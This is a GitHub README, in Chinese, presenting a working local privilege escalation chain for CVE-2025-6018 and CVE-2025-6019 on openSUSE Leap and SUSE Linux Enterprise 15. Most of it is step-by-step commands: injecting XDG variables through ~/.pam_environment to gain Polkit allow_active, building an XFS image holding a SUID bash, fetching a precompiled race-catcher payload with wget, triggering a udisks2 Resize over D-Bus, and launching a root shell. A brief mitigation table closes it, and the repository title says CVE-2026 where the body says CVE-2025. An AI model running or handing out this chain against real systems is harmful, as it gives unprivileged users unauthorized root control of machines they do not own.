m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain
GitHub: m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain
利用 PAM 环境变量注入和 udisks2 竞态条件,从非特权 SSH 用户提权至 root 的漏洞利用链 PoC。
Stars: 0 | Forks: 0
# CVE-2025-6018 + CVE-2025-6019:本地提权漏洞利用链
**目标操作系统:** openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
**所需权限:** 具有 SSH 访问权限的非特权本地用户
**结果:** 获取完整的 root shell
## 概述
本文档详细说明了由 Qualys 威胁研究单元发现的两个链式本地提权漏洞的手动利用过程:
- **CVE-2025-6018** — 通过 `~/.pam_environment` 实现 PAM 环境变量注入,允许远程 SSH 用户获取通常仅限本地物理控制台用户拥有的 `allow_active` Polkit 状态。
- **CVE-2025-6019** — `libblockdev`(被 `udisks2` 使用)在执行 `Filesystem.Resize` D-Bus 操作临时挂载文件系统时,未能应用 `nosuid` 标志,从而允许从用户控制的 loop device 执行 SUID 二进制文件。
将这些漏洞链接在一起,任何非特权的 SSH 用户都可以在无需其他用户交互的情况下提升至 root 权限。
## 前置条件
**攻击机(Kali Linux):**
- 已安装 `xfsprogs`(`sudo apt install xfsprogs -y`)
- `gcc` 可用
- 具备 HTTP 服务器功能(`python3 -m http.server`)
**目标机:**
- openSUSE Leap 15.x 或 SUSE Linux Enterprise 15.x
- 已安装 `udisks2` 和 `polkit`(这些系统上的默认配置)
- `gdbus` 可用(`glib2` 的一部分,默认已安装)
- 以非特权用户身份进行 SSH 访问
## 步骤 1:验证漏洞
以非特权用户获取 SSH 访问权限后,请确认目标系统存在该漏洞。
**检查操作系统:**
```
cat /etc/os-release | grep -E "NAME|VERSION"
```
系统必须是 openSUSE Leap 15.x 或 SUSE Linux Enterprise 15.x。
**检查 `pam_env` 是否读取用户文件:**
```
grep "pam_env" /etc/pam.d/common-auth
```
查找 `user_readenv=1` 或者是否存在 `pam_env.so`。在默认的 SUSE 安装中,这是启用的。
**检查 `udisks2` 和 `polkit` 是否正在运行:**
```
systemctl is-active udisks2
systemctl is-active polkit
```
**检查 loop device 设置的 Polkit 策略:**
```
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
```
`allow_active` 的值必须为 `yes`。
## 步骤 2:CVE-2025-6018 — 通过 PAM 注入获取 `allow_active`
此漏洞利用了 `pam_env.so` 在 SSH 登录期间读取 `~/.pam_environment`,并在 `pam_systemd.so` 评估会话上下文之前将这些变量注入到会话环境中的机制。通过设置 `XDG_SEAT` 和 `XDG_VTNR`,攻击者可以欺骗 `systemd-logind`,使其将远程 SSH 会话视为物理控制台会话,从而授予 `allow_active` Polkit 特权。
**注入变量:**
```
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment
```
**注销并通过 SSH 重新连接以触发 PAM 处理:**
```
exit
```
```
ssh user@
```
**验证 `allow_active` 是否已被授予:**
```
loginctl list-sessions
loginctl show-session | grep -E "Active|Seat|VTNr|Remote"
```
输出必须显示:
```
Active=yes
Seat=seat0
VTNr=1
```
**如果未自动填充,请设置会话 ID 和 D-Bus 地址:**
```
export XDG_SESSION_ID=
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user//bus
```
## 步骤 3:准备恶意 XFS 镜像(攻击机)
XFS 镜像必须使用与 SUSE 15 内核兼容的特性进行格式化。现代版本的 `xfsprogs` 默认启用 `exchange`、`parent`、`bigtime`、`inobtcount` 和 `nrext64` 等特性,但较旧的 SUSE 内核不支持这些特性,会导致挂载失败。以下标志可生成兼容的 V5 XFS 镜像:
```
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500
mkfs.xfs -f \
-m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 \
-i sparse=0,nrext64=0,exchange=0 \
-n parent=0 \
-d agcount=4 \
/tmp/xfs.image
```
**挂载镜像并注入 SUID bash 二进制文件:**
```
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt
```
输出必须显示 `-rwsr-xr-x 1 root root`。
## 步骤 4:准备竞态条件捕获程序(攻击机)
由于在 `Filesystem.Resize` 操作期间,易受攻击的挂载窗口仅有几毫秒宽,因此需要一个编译好的 C 二进制文件才能可靠地捕获它。纯 Bash 循环太慢了。
从发布页面下载预编译的 payload:
```
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload
```
**通过 HTTP 提供这两个文件:**
```
cd /tmp && python3 -m http.server 8888
```
## 步骤 5:将文件传输到目标机
```
# 传输 XFS 镜像
wget http://:8888/xfs.image -O /tmp/xfs.image
# 传输 catcher 二进制文件
wget http://:8888/payload -O /tmp/payload
chmod +x /tmp/payload
```
## 步骤 6:CVE-2025-6019 — 利用 udisks2 竞态条件
此步骤需要同时建立两个到目标机的 SSH 会话。
**设置 loop device(任一会话):**
```
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction
```
记下分配的 loop device,例如 `/dev/loop1`。
**会话 1:启动捕获程序并保持运行:**
```
/tmp/payload
```
**会话 2:立即触发 resize:**
```
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user//bus
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
```
`Resize` 调用将返回一个错误,但在失败之前,`libblockdev` 会在 `/tmp/blockdev.XXXXXX/` 下的临时路径挂载文件系统,且没有使用 `nosuid` 标志。会话 1 中的捕获程序会检测到此挂载操作,并从挂载内部执行 SUID bash 二进制文件,将一个 root shell 复制到 `/tmp/rootbash` 并启动它。
## 步骤 7:获取 Root Shell
一旦捕获程序完成,root shell 将自动生成,或者可以通过以下方式获取:
```
/tmp/rootbash -p
whoami
# root
```
## 修复方案
| 组件 | 修复方法 |
|-----------|-----|
| CVE-2025-6018 | 在 PAM 中禁用 `user_readenv`:在 `/etc/pam.d/common-auth` 中设置 `user_readenv=0` |
| CVE-2025-6019 | 将 `libblockdev` 和 `udisks2` 更新至发行版供应商提供的已修补版本 |
| Polkit 加固 | 在 UDisks2 策略文件中,将 `org.freedesktop.udisks2.loop-setup` 的 `allow_active` 更改为 `auth_admin` |
标签:CVE-2025-6018, CVE-2025-6019, D-Bus, libblockdev, openSUSE, PAM, PoC, Polkit, SSH, SUID, SUSE Linux Enterprise, udisks2, Web报告查看器, 协议分析, 客户端加密, 应用安全, 提权链, 文件系统挂载, 暴力破解, 本地提权, 权限提升, 漏洞分析, 环境变量注入, 网络安全, 路径探测, 隐私保护